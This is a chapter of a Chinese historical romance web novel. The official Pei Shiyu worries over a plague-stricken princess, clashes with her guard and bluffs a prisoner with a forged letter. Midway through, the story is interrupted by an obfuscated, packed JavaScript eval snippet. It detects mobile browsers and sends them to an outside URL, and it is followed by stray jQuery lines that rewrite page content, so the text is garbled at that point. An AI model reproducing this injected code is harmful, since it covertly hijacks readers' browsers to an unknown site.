当方延遣人来寻裴时逾时,他还在江边盯着水坝的建造进度。
等听见沈栀禾因感染瘟疫而昏迷不醒时他翻阅地形图的动作都停了一瞬,青年眉心拧成一片,冷声询问:“你们都是怎么看着她的?明知疫病凶恶还让她以身犯险?”
被派来传话的都是先前跟在方延身边的禁军,老头脾性好,鲜少对他们表露愠色,如今看着面对这位殿史脸上明晃晃的不满都不知作何反应,被推出去挡刀的李禹只能干巴巴道:“……季大人也拦不住殿下……”
沈栀禾的地位有目共睹,偌大扬州城都是以她为尊,说一不二自然无人胆敢反驳。
裴时逾却并没有被这个理由说服,只是意有所指道:“他要是有心,什么事会做不成。”
毕竟前世他为了沈栀禾的春秋大业可是连朝廷重臣都敢刺杀,夜闯官宅血溅而归。
男人并不懂面前青年突然冒出来的这句没头没尾的话,只安安静静的候在一旁,避免伤及无辜。
然后他就看见这位殿史匆匆喊来人交接了一下水坝事务,连外衣都来不及换就催他们动身一路驾马狂奔冯府。
原本要两个时辰的路线愣生生被裴时逾缩短了一半时长。
跟在青年后面的禁军侍卫们却是苦不堪言,有的甚至在到达目的地后还趴在地下吐苦水。
毕竟他们的职责只是守卫皇城,并不用真刀实枪上战场,一个个都没有接受过系统的马术,自然做不到得心应手。
李禹比他的兄弟们身体素质要好一点,只头晕了一会就缓了过来。他望着裴时逾离去的背影,咂咂嘴腹诽道:倒也不必如此急着去夺权吧,殿下一时半会根本就醒不过来。
相比于他们的狼狈不堪,裴时逾整个人却根本没受到一点影响,面色坦然,稳稳当当行至沈栀禾住的小院里。
季漾则在看见他的一瞬间就提起了剑,眉眼间都是锋利,语带不善:“你来干什么?”
裴时逾下巴微抬,朝里面一指,冷嘲热讽:“你就是这么保护她的?不怕秦老知道了怪罪于你?”
因先前逾矩之事,季漾对他的观感下降了一层楼,并不拿正眼瞧他:“我自会向秦相请罪,不劳裴大人操心。”
“至于你,无事不登三宝殿是来讨钱还是求权?”他故意用了卑微的字眼意图让裴时逾难堪。
面对刁难,青年看似好脾气的点头,实际也是个嘴上不饶人的主,硬要怼他几句:“都不是,我是看笑话的。”
“你!”
两个人闹出的动静打搅到了房里的方延,老头刚从里面把门给打开,映入眼帘的就是他们争锋相对的画面,氛围剑拔弩张。
其间,季漾的剑锋在日光下还格外耀眼,闪着丝丝寒意,看起来锋利无比,能削铁如泥。
见状他和气的打着圆场,缓缓挪至季漾身侧,将他抽出一半的剑用力按了回去。
“季大侍卫,是老夫叫他过来滴,现下殿下身体不适,这扬州总得有个主持局势的人。我就自作主张派人去将裴殿史请了回来。”说这话时他眼睛还时不时在两人之间来回提溜,笑眯眯的缓解气氛。
裴时逾也识趣的领情,岔开话题:“食君之禄忠君之事。只是殿下到底情况如何了?危急吗?”
他来扬州之前皇帝就找他聊过,说此行险象环生,一方面是因为长京与扬州之间地势险峻,一方面则是因为瘟疫过于危殆,染病者十死九伤。
前世他还是小小的翰林官员,出巡抚慰灾民的任务落不到他肩上,因而同僚口口相传的哀鸿遍野的景象他也只当是为了烘托自己的业绩而夸大说辞。
直到自己身临其境才发现那些低矮破败的草棚下,挤满了呻吟翻滚的病人。他们面色青灰,眼窝深陷,身上布满可怖的脓疮或紫斑病入膏肓的气息浓重得化不开。
简陋的床铺上,不时有人剧烈抽搐后便死亡枕藉,草席一卷就被面无表情的杂役拖走。那些大夫们穿梭其间,眉头紧锁,面对这瘟神肆虐的惨状,深知多数人已是药石罔效。
那些景象在他脑海里时不时重演,构成一幅悲惨的图景,他突然就有点害怕,害怕沈栀禾也命丧于此。
方延眼里也是一片焦急:“殿下与病源接触时间不长,疠气还未完全发作,只要控制得当,想来应当是不会伤及根本的。”
裴时逾:“那如果没有控制住呢,她也会像那些百姓一样饱受疫病的煎熬?”
方延顶着面前两人锐利的目光,为难的点了点头:“不过老夫已经在尽力配置缓解病痛的药方了,不出意外的话,殿下应当是可以撑到那个时候的……”
“那就好。”季漾缓缓松了一口气。
裴时逾却还是有点不放心,旁敲侧击道:“那她现在清醒了还是昏迷状态?我想见她。”
说完,青年像是怕被误会又补充了几句:“聊聊关于水坝处理的事情。”
“哦哦。”方延反应过来回神应声道:“殿下这几天一直在忙,秉烛夜谈,熬弱了身子,我开了幅补药让她喝下了,估计要酉时才能醒,你可以那个时间点过来。”
裴时逾:“好。”
两人又陆续洽谈了扬州的日常政务,等交接的差不多了方延才示意季漾和他一同去冯丛海老宅处置那些蓄意兴风作浪的百姓。
临走前他还指着东南处的厢房一角,告诉裴时逾那是书房的位置。
青年前脚答应的好好的,转头等他们走后便孤身一人去了地牢。
这是他第一次踏进这里,迎面而来的都是潮湿的水汽,摒心静气后还能听见角落里老鼠叽叽喳喳的声响。
为了不打草惊蛇,他没有选择去冯丛海的牢房,而是拐弯移步至了他的侍卫——孟良的牢房处。
随着一声“咔嚓”的响音,牢门上挂着的铁锁被侍卫解开,孟良的视线也移了过来,落在门前那人身上。
青年身形修长清瘦,直直站立时还遮住了牢门对面墙壁上的八角灯笼,细碎光影从他肩上撒落,影子照在草席上被拉的明暗交杂,配上他脸上恹恹的神情,无端的给人一种压迫感。
孟良逆着光仔细辨认来人,待看清是那天将刺客剿灭的煞神时,他整个人都惊了一瞬,声音里夹着明显的颤音。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533542|186440||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“你、你来干什么?!”
“本官有话问你。”裴时逾慢慢朝他走近,最后还纡尊降贵的蹲下身子和他平视,一字一句:“你最好知无不言、言无不尽。”
在他靠近的那一刻孟良还以为他又要掏出长剑杀人,之前的情景刻在他脑海中久久不能消散,身体都先于大脑做出了反应,整个人手脚并用的快速往后挪去,直到背抵着墙,无路可逃。
等听清他说的话后孟良才结结巴巴开口:“您问、您问,我一定如实相告。”
他只想快点把这座煞神送走。
“冯丛海平日里是只和贺泉一个人有信件来往,还是有其他同伙?”
“这个我不清楚啊,大人,小的就是个跑腿的……老爷也从来不让我们进他的书房。”孟良没料到他还对这件事耿耿于怀,把头摇成了个拨浪鼓只为证明自己的清白。
“那天老爷带我们逃跑,说让我们护送他出城,可是他连路线终点都没有告诉我们,我又怎么会知道他的交际圈啊……”
“贺泉手中掌握了你们的行踪所以那天才能那么精准的追杀你们。”他慢慢摩挲着自己的指腹,望向他时眼底情绪晦暗不明,语气幽幽:“这么巧合,你难道就没有怀疑过你们之间存在细作?”
他意有所指,孟良却生怕这人将自己打成细作,命丧今朝。当即“哐当”一声就跪在地下磕头,嘴里还念念有词:“大人明鉴啊,我是受人冤枉的!”
“是么?”裴时逾慢条斯理的从袖口掏出一封信,上面赫然盖着刑部尚书宋庭松的私印。他将其轻放在孟良的发顶,声音在人耳朵里听的像浸了一层寒冰:“这是在你家找到的,意不意外?”
孟良被青年吓的身子都在发抖,那封信一不小心就掉落在他眼里,看的他惊呆了一瞬,神情都是不可置信:“求大人细察,草民真的绝无二心,至于什么宋大人,我真的没有听过啊……”
“我平常只是帮着老爷与京城那位贵人传信而已,其他的我根本不能插手啊。”
见他终于吐露出真实信息,裴时逾继续刨根问底:“所有的信都储存在那个冯丛海房间的那个暗柜?”
“书房的格子里也有!”孟良一股脑的往外倒消息,企图为自己洗刷冤屈求得一线生机。
“行。”得到了自己想要的消息,裴时逾满意的点了点头而后就毫不留恋的离开了这间牢房,根本不管背后的孟良,任凭其喊冤。
确实冤。
因为那封信是裴时逾遣人伪造的,他根本没有冯丛海和宋庭松勾搭的证据,出此下策也只是想诈诈他。
毕竟冯丛海老奸巨猾,死到临头会故意往别人身上泼脏水,搅乱局面。
而裴时逾又还是疑心,便只好从旁人下手,剑走偏锋。
只是结果比他预料之中的要好很多,而这些证据也在昭告着一个事实:他误会了沈栀禾的事实。
可惜那时候他全凭自己的想法行事,一意孤行,甚至还借其职务之便对她做局,陷人于危险之中。
想到这,青年默默的叹了一口气,是他过于冲动了。